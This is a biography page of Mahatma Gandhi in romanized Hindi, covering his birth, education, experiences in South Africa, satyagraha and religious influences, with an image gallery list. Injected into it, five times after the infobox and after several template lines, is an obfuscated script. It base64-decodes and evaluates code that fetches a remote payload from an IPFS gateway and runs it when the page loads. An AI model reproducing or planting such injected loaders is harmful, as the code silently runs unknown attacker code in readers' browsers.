महात्मा गाँधी
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mahatma gaandhi
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| poora nam | mohanadas karamachand gaandhi |
| any nam | bapoo, mahatma ji |
| janm | 2 aktoobar, 1869 |
| janm bhoomi | porabandar, gujarat |
| mrityu | 30 janavari, 1948 |
| mrityu sthan | nee dilli |
| mrityu karan | hatya |
| abhibhavak | karamachand gaandhi, putalibaee |
| pati/patni | kastooraba gaandhi |
| santan | harilal, manilal, ramadas, devadas |
| smarak | rajaghat (dilli), birala haus (dilli) adi. |
| nagarikata | bharatiy |
| parti | kaangres |
| shiksha | bairistar |
| vidyalay | banbee yoonivarsiti, samaladas k aaulej |
| bhasha | hindi, aangrezi |
| puraskar-upadhi | rashtrapita |
| vishesh yogadan | bharat ki svatantrata, ahiansak andolan, satyagrah |
| sanbandhit lekh | asahayog aandolan, namak satyagrah adi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahatma gaandhi (aangrezi: Mahatma Gandhi, janm: 2 aktoobar, 1869; mrityu: 30 janavari, 1948) ko british shasan ke khilaf bharatiy rashtriy aandolan ka neta aur 'rashtrapita' mana jata hai. inaka poora nam mohanadas karamachand gaandhi tha. rajanitik aur samajik pragati ki prapti hetu apane ahiansak virodh ke siddhaant ke lie unhean aantarrashtriy khyati prapt huee. mohanadas karamachand gaandhi bharat evan bharatiy svatantrata aandolan ke ek pramukh rajanitik evan adhyatmik neta the. 'sabaramati ashram' se unaka atoot rishta tha. is ashram se mahatma gaandhi ajivan ju de rahe, isilie unhean 'sabaramati ka sant' ki upadhi bhi mili.
jivan parichay
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahatma gaandhi ka janm 2 aktoobar 1869 ee. ko gujarat ke porabandar namak sthan par hua tha. unake mata-pita kattar hindoo the. inake pita ka nam karamachand gaandhi tha. mohanadas ki mata ka nam putalibaee tha jo karamachand gaandhi ji ki chauthi patni thian. mohanadas apane pita ki chauthi patni ki antim santan the. unake pita karamachand (kaba gaandhi) pahale british shasan ke tahat pashchimi bharat ke gujarat rajy mean ek chhoti-si riyasat ki rajadhani porabandar ke divan the aur bad mean kramashah rajakot (kathiyava d) aur vaankaner mean divan rahe. karamachand gaandhi ne bahut adhik aupacharik shiksha to prapt nahian ki thi, lekin vah ek kushal prashasak the aur unhean sanaki rajakumaroan, unaki duahkhi praja tatha sattasin kattar british rajanitik adhikariyoan ke bich apana rasta nikalana ata tha.
shiksha
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1887 mean mohanadas ne jaise-taise 'banbee yoonivarsiti' ki maitrik ki pariksha pas ki aur bhavanagar sthit 'samaladas k aaulej' mean dakhila liya. achanak gujarati se aangrezi bhasha mean jane se unhean vyakhyanoan ko samajhane mean kuchh dikkat hone lagi. is bich unake parivar mean unake bhavishy ko lekar charcha chal rahi thi. agar nirnay un par chho da jata, to vah d aauktar banana chahate the. lekin vaishnav parivar mean chirafa d ke khilaf poorvagrah ke alava yah bhi spasht tha ki yadi unhean gujarat ke kisi rajagharane mean uchch pad prapt karane ki parivarik parampara nibhani hai, to unhean bairistar banana p dega. isaka arth tha ianglaiand yatra aur gaandhi ne, jinaka 'samaladas k aaulej' mean khas man nahian lag raha tha, is prastav ko saharsh hi svikar kar liya. unake yuva man mean ianglaiand ki chhavi 'darshanikoan aur kaviyoan ki bhoomi, sampoorn sabhyata ke kendr' ke roop mean thi. sitanbar 1888 mean vah pani ke jahaz par savar hue. vahaan pahuanchane ke 10 din bad vah landan ke char qanoon mahavidyalay mean se ek 'inar teanpal' mean dakhil ho ge.
afrika mean gaandhi
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
daraban nyayalay mean yooropiy majistret ne unhean pag di utarane ke lie kaha, unhoanne inkar kar diya aur nyayalay se bahar chale ge. kuchh dinoan ke bad pritoriya jate samay unhean relave ke pratham shreni ke dibbe se bahar pheank diya gaya aur unhoanne steshan par thithurate hue rat bitaee. yatra ke agale charan mean unhean ek gho daga di ke chalak se pitana p da, kyoanki yooropiy yatri ko jagah dekar payadan par yatra karane se unhoanne inkar kar diya tha, aur antatah 'sirf yooropiy logoan ke lie' surakshit hotaloan mean unake jane par rok laga di gee. natal mean bharatiy vyapariyoan aur shramikoan ke lie ye apaman dainik jivan ka hissa tha. jo naya tha, vah gaandhi ka anubhav n hokar unaki pratikriya thi. ab tak vah hathadharmita aur ugrata ke paksh mean nahian the, lekin jab unhean anapekshit apamanoan se guzarana p da, to unamean kuchh badalav aya.
satyagrah
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
1906 mean taansaval sarakar ne dakshin afrika ki bharatiy janata ke panjikaran ke lie vishesh roop se apamanajanak adhyadesh jari kiya. bharatiyoan ne sitanbar 1906 mean johensabarg mean gaandhi ke netritv mean ek virodh janasabha ka ayojan kiya aur is adhyadesh ke ullanghan tatha isake parinamasvaroop dand bhugatane ki shapath li. is prakar satyagrah ka janm hua, jo vedana pahuanchane ke bajay unhean jhelane, vidveshahin pratirodh karane aur bina hiansa ke usase l dane ki nee takanik thi.
dharmik khoj
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gaandhi ji ki dharmik khoj unaki mata, porabandar tatha rajakot sthit ghar ke prabhav se bachapan mean hi shuroo ho gee thi. lekin dakshin afrika pahuanchane par ise kafi bal mila. vah eesaee dharm par t aaulsatay ke lekhan par mugdh the. unhoanne quran ke anuvad ka adhyayan kiya aur hindoo abhilekhoan tatha darshan mean dubakiyaan lagaeean. sapekshik karm ke adhyayan, vidvanoan ke sath batachit aur dharmashastriy kritiyoan ke niji adhyayan se vah is nishkarsh par pahuanche ki sabhi dharm saty haian aur phir bhi har ek dharm apoorn hai. kyoanki kabhi-kabhi unaki vyakhya starahin buddhi sankirn hriday se ki gee hai aur aksar durvyakhya huee hai. bhagavadagita, jisaka gaandhi ne pahali bar ianglaiand mean adhyayan kiya tha, unaka 'adhyatmik shabdakosh' ban gaya aur sambhavatah unake jivan par isi ka sabase adhik prabhav p da. gita mean ullikhit sanskrit ke do shabdoan ne unhean sabase zyada akarshit kiya. ek tha 'aparigrah' (tyag), jisaka arth hai, manushy ko apane adhyatmik jivan ko badhit karane vali bhautik vastuoan ka tyag kar dena chahie aur use dhan-sampatti ke bandhanoan se mukt ho jana chahie. doosara shabd hai 'samabhav' (saman bhav), jisane unhean duahkh ya sukh, jit ya har, sabamean adig rahana tatha saphalata ki asha ya asaphalata ke bhay ke bina kam karana sikhaya.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
| link=#top|center|oopar jayean |
chitr vithika
- chitr:Gandhi-Ji-Statue.jpg
feri imarat par gaandhi ji ki pratima, sen fraansisko
- chitr:Porbandar-Gujarat-15.jpg
balyavastha, mahatma gaandhi
- chitr:Mahatma-Gandhi-Monkeys-Sandsation.jpg
mahatma gaandhi ke tin bandaroan ka seandaseshan
- chitr:Mahatma-Gandhi-Sandsation-1.jpg
mahatma gaandhi seandaseshan
- chitr:Mahatma Gandhi.jpg
jaimini ray dvara chitrit mahatma gaandhi
- chitr:Mahatma-Gandhiji.jpg
gopal ghosh dvara chitrit mahatma gaandhi
- chitr:Statue-of-Gandhiji-2.jpg
gaandhi ji ki kaansy moorti
chitrakar- phreda briliyant - chitr:Dandi-March-Gandhiji.jpg
nandalal bos dvara chitrit mahatma gaandhi
- chitr:Mahatma-Gandhi-3.jpg
ramendr nath chakravarti dvara chitrit mahatma gaandhi
- chitr:Statue of Mahatma Gandhi-2.jpg
mahatma gaandhi
chitrakar- ram kiankar bez - chitr:Mahatma-Gandhi-2.jpg
mahatma gaandhi
- chitr:Mahadev-Desai-And-Gandhi.jpg
mahadev desaee aur gaandhi ji
- chitr:Bapu-ke-padchinho-par.jpg
mahatma gaandhi ke pad chihnoan par chalate unake anuyayi
- chitr:Porbandar-Gujarat-6.jpg
gaandhi ji ke dadaji harajivan gaandhi dvara san 1888 mean kharide gaye makan ke dastavej
- chitr:Porbandar-Gujarat-19.jpg
mahatma gaandhi ka asan, kirti mandir, porabandar
- chitr:Porbandar-Gujarat-23.jpg
mahatma gaandhi ka janmasthan, kirti mandir, porabandar
- chitr:Porbandar-Gujarat-20.jpg
rel mean mahatma gaandhi- 1945
- chitr:Porbandar-Gujarat-18.jpg
saradar vallabh bhaee patel, rana natavarasianhaji, shri moraraji desaee, en. ke. mehata kirti mandir ke udghatan par
- chitr:Porbandar-Gujarat-4.jpg
mahatma gaandhi ke siddhaant
- chitr:Mirabehn-1.jpg
mira ben aur gaandhi ji
bahari k diyaan
- mahatma gaandhi sakshatkar vidiyo
- mahatma gaandhi bhashan vidiyo
- dak tikatoan mean gaandhi
- dak-tikatoan par bhi chhaye gaandhi ji
- dak tikatoan mean mohan se mahatma tak ka saphar
- gaandhi darshan ki prasangikata - prophsar mahavir saran jain
sanbandhit lekh
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varnamala kramanusar lekh khoj
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